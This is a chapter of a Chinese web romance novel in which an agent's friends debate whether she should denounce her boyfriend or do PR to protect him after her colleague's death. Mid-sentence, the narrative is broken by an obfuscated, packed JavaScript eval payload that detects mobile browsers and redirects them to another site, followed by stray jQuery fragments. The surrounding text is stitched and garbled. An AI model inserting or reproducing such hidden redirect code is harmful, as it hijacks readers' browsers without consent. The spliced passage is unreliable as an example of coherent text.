142. 袒护

作品:《风闻绯事

    “喂,妙妙,你们现在在哪儿?”


    江知渺和冉然等了半小时,终于等来了柯妙妙的电话。


    “在我家,今晚让栖月住我家吧。”


    听到这里,江知渺才算松了口气。


    “栖月姐,你还好吗?”一旁的冉然凑到手机边上问她。


    “是小冉啊?”梁栖月的声音听起来非常疲惫,平日里底气十足的人,现在说几个字就要缓口气。


    江知渺也不忍心说什么重话,“你一声不吭就消失了,小冉很担心你。”


    “抱歉啊,小冉,明天的拍摄还得拜托你跟一下了。”


    这种时候还在想工作,身为老板,江知渺听不下去了,“工作的事你就别管了,我都能应付过来。倒是你自己,有什么想法?”


    电话里传来一声自嘲的轻笑,“我能有什么想法呢?”


    柯妙妙给她手边放了一包抽纸,“什么想法都可以,你说出来我们才知道怎么帮你呀。”


    梁栖月盯着那包纸的包装,许久才艰难地说:“都怪我瞎了眼,害死了金瑛。”


    “别这么说。”提到金瑛,江知渺心里也非常沉重,她深深地呼吸了几次,让自己不要哽咽,“她是我招来的助理,要说害也是我把她害死的。”


    冉然突然坐立不安地在椅子上扭了一下。


    柯妙妙抬高了声音:“你们都给我打住,该忏悔的人还没忏悔,轮不到你们。别忘了正事,网上随时都会曝出吴祐安和金瑛的事,怎么处理怎么应对?”


    其实从听到这件令人震惊的事情开始,江知渺就开始思索了。


    金瑛给她做了四年助理,一开始她也没那么多好本子,中途还被封杀,金瑛跟着她吃了不少苦。


    可梁栖月既是她的经纪人又是她的挚友,她不能为了给金瑛讨个公道,就不顾梁栖月的感受。


    “我听栖月的。”她低声说道。


    “我也听栖月的。”柯妙妙也摆明了立场,她戳了戳梁栖月,“到你了,现在有两条路:一个是你先一步发声明,撇清跟他的关系;另一条路,就看你自己了,要不要帮他公关掉。”


    “为什么要帮他?”冉然一直没说话,听见这第二条路,不解地问江知渺。


    江知渺愣住了,她不知道该如何对冉然解释。


    外人看来,这种时候当然是一刀两断。只有真正看着他们走过来的,才能理解梁栖月的犹豫不决。


    梁栖月和吴祐安二十岁就在一起了,尽管中间分分合合,可总也没有断了联系。


    十年,对于他们这个年纪来说,分量太重了。


    沉没成本也好,恋爱脑也罢,哪怕是去年那次认真的分手,都无异于自断一臂,两人都消沉许久。


    主动曝光,或是等着哪个营销号引爆炸弹,无疑会将梁栖月立刻推到吴祐安的对立面上,逼迫她不留一丝情面,向曾经坚定地认作一生伴侣的男人挥剑。


    在让他身败名裂的同时,自己也会遍体鳞伤。


    江知渺曾经也无法理解她,为什么对吴祐安容忍到这个程度。


    但现在,她有些明白了,也尝试去与她感同身受。


    论对错,江知渺自然会选择第一条路。


    只是这件事绝对不止于对错,她永远没有能力替当事人做决定。


    这些厚重的情绪,很难短时间内向冉然解释清楚。


    她摇了摇头:“让栖月做决定吧。”


    一时间,所有的声音都消失了,若不是听筒里传来电流的沙沙响,梁栖月都要以为时间停止了。


    如果时间能够停止就好了,这样她就不会陷在如今的泥淖里进退两难。


    十年,这十年到底带走了什么又留下了什么?


    她答不出来,唯独逐渐松弛的皮肤告诉她,距离第一次在女生宿舍楼下看到吴祐安捧着玫瑰花等她的那一天,已经过去了十年。


    原来一切都是真的,爱语是真的,咒骂是真的,誓言是真的,谎言也是真的。


    她却总惦念着那个单纯到有些迟钝的吴祐安,真真假假中,把自己的青春也浪费了。


    刚才她去吴祐安家里,只问了一句话:是不是真的?


    吴祐安苍白的脸色令她陌生,让她恶心,她抱着他家的洗手池吐了个昏天黑地。


    太狼狈了,她怎么能活成这样?


    好像又回到了大学毕业刚进组的时候,每天像个局外人,在剧组里局促地犯下各种错误。


    她不如柯妙妙那么有灵性,更不像江知渺有天赋,在学校时她的表演就是“合格”两个字。


    不会出什么大错,但也不会出彩。


    对于一个新人演员来说,这并不是什么致命的弱点。


    被导演骂是家常便饭,厚着脸皮熬一熬,等作品的厚度增加了,有固定的受众,自然也就能立足。


    梁栖月却在第一部戏杀青的当天,给江知渺打电话:“我要退圈。”


    她不喜欢自己这种状态,为了一个勉强及格的成绩,疲于奔命。


    如果拼尽全力,浑身是土,也只能得到一句“还行”,那还有什么奔头?


    这样太难看了,她不想让自己看起来那么不体面,好像生活已经把她击溃了一样。


    但现在呢?


    她还穿着挺拔修身的职业套装,抛开吐得发绿的脸,看起来依旧飒爽。


    可一门之隔,她爱了十年的男人,早在她懵懂无知的时候,就已经背叛了她,还冷酷无情到违背天利人伦。


    她像个傻子一样被骗了这么多年,到头来竟是竹篮打水一场空,成了最可笑的人。


    见她从洗手间出来,吴祐安连忙围了上去,“栖月,我错了,以后我……”


    “从现在开始,你给我把嘴闭严实了。”她狠狠地瞪了他一眼,“剩下的事我来处理。”


    “还有——”


    “我们不会再有以后了。”


    坐在柯妙妙家里,她注意到那包专门为她准备的纸巾,这才发现自己这一天来竟然从未哭过。


    “知渺,妙妙。”


    她用双手捂住自己发烫的眼眶。


    “我选第二条路。”


    这个答案既意外却又无法反驳,江知渺只能不死心地补一句:“栖月,其实你不用给自己太大负担,你和他只是恋人,不需要替他承担责任……”


    “我不是为了他!”梁栖月的声音很冲,说着说着又落了下来。


    “我是为了我自己。”


    “我不喜欢被人评头论足。”


    “讨厌让别人觉得我可怜。”


    “我就是不想看上去那么不体面,这有错吗?”


    她的问题没人能回答,江知渺再也没有劝她的立场。


    挂断电话后,江知渺和冉然静默地对坐了很久。


    “小冉,回去吧,早点休息。”


    “知渺姐,你知道这不对。”


    “我知道。”


    “好吧……”她深深地叹了口气,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243340|171696||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    仿佛叹出了几辈子的烦恼。


    “知渺姐,我走了,晚安。”


    随着门锁发出“咔哒”一声,江知渺把自己重重地扔到了床上。


    她知道梁栖月的选择或许不那么正确,可那是栖月最痛苦的抉择。


    她能做的,也只有联系金瑛的父亲,让他老人家的晚年过得尽量好一些。


    “如果当时我能发现吴祐安和金瑛……”


    “这不是你的错。”邵聿的声音从手机里传来,稍稍抚平了她内心的不安。


    “可她到底是我的助理,如果不是因为我,她也不会认识吴祐安,更不会死。”


    “你也说了,她的死是吴祐安造成的,他现在还在当缩头乌龟,难道连反省都要别人替他来做吗?”


    提到吴祐安,他语速都加快了,明显是带着气。


    “你也觉得,我们应该先一步曝光这件事吗?”


    邵聿叹了口气,“但爱或是恨总是盲目的。”


    后半句他没有说出口:盲目到假如你真的杀了人,我也会为你辩护。


    “妙妙那边在帮她公关了,等明天拍摄完回到A市,我再劝劝栖月吧。”


    “明天几点?我去机场接你。”


    “六点半降落,你要从演播室里逃跑吗?”


    “嗯……好主意!”


    “那我可成了国立电视台的大罪人了。”她笑了笑,“小冉帮我定好了车,你好好工作,我在家里等你。”


    她刚要挂断电话,对面忽然叫住了她:“等等!”


    “怎么啦?”


    “书房的书柜我整理好了。”


    “嗯?”


    “格子都擦了一遍。”


    江知渺疑惑地歪了歪头,“为什么突然说这个?”


    “我们那张婚纱照旁边的格子里,还有一些地方。”


    她努力回忆着书房的摆设,第三层确实摆放着一个相框,是他们两人都坐着的婚纱照。右侧是……


    邵聿那边传来轻微的杂音,不知道去干什么了,就是不肯直接告诉她。


    她只好继续回忆,照片右侧,不是书,不是花瓶,好像是个比瓷器还要亮眼的东西。


    “咔嚓——”


    随着电话里传来一声轻快的快门声,江知渺忽然想起那里摆放着什么。


    是邵聿的奖杯。


    “我发给你了。”不知道是不是错觉,邵聿的声音里还有几分羞涩。


    江知渺打开微信,看到了他发来的照片。


    照片左侧是那张笑得异常灿烂的婚纱照,右侧的确是他的奖杯,金灿灿的,在灯光下反射着绚烂光芒。


    可它却没有被放置在格子正中央,而是紧贴着左边,右侧空出一大片来。


    “咳咳,你的奖杯可以摆在这里。”


    她哪能看不出邵聿的心思,这个奖杯是广播行业最高奖项,去年凭借《钩沉》一骑绝尘的成绩才拿到的。


    他最得意的作品,与她最重要的荣誉,并肩放进去,就好像他们两人,如同婚纱照里那样,永远站在一起。


    他爱她连同她的身份她的热爱她的事业她的荣辱一同去爱,因为那也是他的身份他的热爱他的事业他的荣辱。


    自以为不会再被什么纯爱戏码打动的三十岁的江知渺,脸忽然爆红起来。


    结束通话后,她往脸上扑了一捧冰水,看着镜子里那个脸颊快要滴出血色来的女人,心里大喊:不妙。


    她好像真的很想念邵聿。